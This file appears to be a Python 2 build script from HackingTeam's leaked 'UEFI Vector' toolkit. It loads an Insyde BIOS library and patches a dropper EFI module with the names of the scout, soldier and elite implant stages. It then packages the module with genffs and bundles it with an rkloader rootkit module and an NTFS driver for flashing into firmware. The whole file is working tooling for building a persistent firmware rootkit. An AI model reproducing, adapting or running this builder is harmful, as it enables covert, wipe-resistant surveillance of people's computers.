hackedteam/vector-edk

#################################################################################
#
#    CONFIDENTIAL CODE - DISTRIBUTION OR REPRODUCTION IS STRICTLY FORBIDDEN
#
#################################################################################

# DO NOT MODIFY THIS FILE

import os, sys, struct, datetime, traceback
import warnings
from ctypes import *
import subprocess

if "." not in sys.path: sys.path.append(".")

DESCRIPTION = "VECTOR-UEFI"
VERSION = "1.0"

destfolder = ""

INFO = 0
WARNING = 1
ERROR = 2

documentation = "]HackingTeam[ UEFI Vector - Release 9.5"

# Error routine
def error(level, msg):
    code = "ERROR"
    
    if level == 0:
        code = "INFO"
    elif level == 1:
        code = "WARNING"
    elif level == 2:
        code = "ERROR"
    
    df = open(os.path.join(destfolder, "error"), "a")
    msg = "[{0} {1} {2} \n".format(code, datetime.datetime.now().isoformat()[:19].replace("T", " "), msg)
    print msg
    df.write(msg)
    traceback.print_exc(file=df)
    df.close()

class Insyde():
    def __init__(self):
        self.dll = cdll.LoadLibrary("insyde.dll")
        self.arch = "UNSUPPORTED"
        self.recovery = "UNKNOWN"
    
    def RecoveryInFD(self, FDVolume):
        fdfile = c_char_p(FDVolume)
        recoveryname = create_string_buffer(128)
        archname = create_string_buffer(32)
        
        if self.dll.RecoveryInFD(fdfile, archname, recoveryname) == 0:
            return False
        
        self.arch = archname.value
        self.recovery = recoveryname.value
    
    def LoadIsFlash(self, filename):
        size = c_int()
        size.value = 0
        
        if self.dll.GetBiosImage(filename, None, byref(size)) == False:
            return 0
        
        print "size: %d "%(size.value)
        return size.value
    
    def ExractBiosImage(self, filename, s):
        #
        buff = (c_ubyte * s)()
        size = c_int()
        size.value = s
        self.dll.GetBiosImage(filename, byref(buff), byref(size))
        
        return buff
    
    def ReplaceBiosImage(self, filename, newfileimage, size):
        #
        c_size = c_int()
        
        self.dll.SetBiosImage(filename, newfileimage)
        
        return True
    
    def Architecture(self):
        return self.arch
    
    def RecoveryName(self):
        return self.recovery
    
    def Patch(self, dropperfile, scoutfile, scoutname, soldiername, elitename):
        c_dropperfile = create_string_buffer(dropperfile)
        c_scoutfile = create_string_buffer(scoutfile)
        c_scoutname = create_string_buffer(scoutname)
        c_soldiername = create_string_buffer(soldiername)
        c_elitename = create_string_buffer(elitename)
        
        if self.dll.PatchDropper(byref(c_dropperfile), byref(c_scoutfile), byref(c_scoutname), byref(c_soldiername), byref(c_elitename)) == False:
            return False
        
        return True
    
if __name__=='__main__':
    
    
    print "Arguments in command line %d" %(len(sys.argv))
    
    for i in range(len(sys.argv)):
        print "Param %d : %s" %(i, sys.argv[i])
    
    if len(sys.argv) != 6:
        print "[ERROR] %s require 5 parameters"%(DESCRIPTION)
        print "[-INFO] scout.exe scoutname soldiername elitename outputdir"
        sys.exit(0)
    
    destfolder = sys.argv[5]
    
    if os.path.exists(destfolder) == False:
        os.makedirs(destfolder)
    
    bios = Insyde()
    
    os.system("copy /y dropper.mod dropper.tmp")
    print "Patching EFI Application"
    bios.Patch("dropper.tmp", sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
        
    #error(INFO, "{0} supported.".format(sys.argv[1]))
    #error(INFO, "{0} is {1} - FileName {2} ".format(sys.argv[1], bios.Architecture(), bios.RecoveryName() ) )
    #os.system("copy /y x64file2.mod x64file2.tmp")
    #os.system(" -o dropper -t EFI_FV_FILETYPE_APPLICATION -g eaea9aec-c9c1-46e2-9d52-432ad25a9b0b -s -a 1 -i dropper.tmp")
    
    p = subprocess.Popen(('genffs.exe', "-o", "dropper", "-t", "EFI_FV_FILETYPE_APPLICATION", "-g", "eaea9aec-c9c1-46e2-9d52-432ad25a9b0b", "-s", "-a", "1", "-i", "dropper.tmp"))
    
    p.wait()
    #print "running uefiextract...."
    
    #p = subprocess.Popen(('UEFIextract.exe', os.path.join(destfolder, "firmware"), "x64file0.mod", "x64file1.mod", "dropper"))
    
    #p.wait()

    #print "copy /y %s firmware.fd"%(sys.argv[1])
    
    #os.system("copy /y %s firmware.fd"%(sys.argv[1]))
    #bios.ReplaceBiosImage("firmware.fd", "new.fd", size)
    # load new.fd into firmware
    
    # output file for console
    #outputfile = os.path.join(destfolder, bios.RecoveryName())
    #print "copy /y %s %s"%(sys.argv[1], outputfile)
    
    # transfer "fd" into output folder
    p = subprocess.Popen(('unzip.exe', "-qq", "fd.zip", "-d", destfolder))
    
    p.wait()
    
    print "copy fs driver"
    os.system("copy /y %s %s\\modules"%("ntfs.mod", destfolder))
    print "copy rkloader"
    os.system("copy /y %s %s\\modules"%("rkloader.mod", destfolder))
    print "copy dropper"
    os.system("copy /y dropper %s\\modules\\dropper.mod"%(destfolder))
    
    # clean area
    #os.remove("x64file2.tmp")
    os.remove("dropper")
    os.remove("dropper.tmp")
    #os.remove(os.path.join(destfolder, "firmware"))
    #os.remove("new.fd")
    #os.remove("firmware.fd")
    
    if os.path.exists(os.path.join(destfolder, "error")):
        os.remove(os.path.join(destfolder, "error"))
    
    sys.exit(0)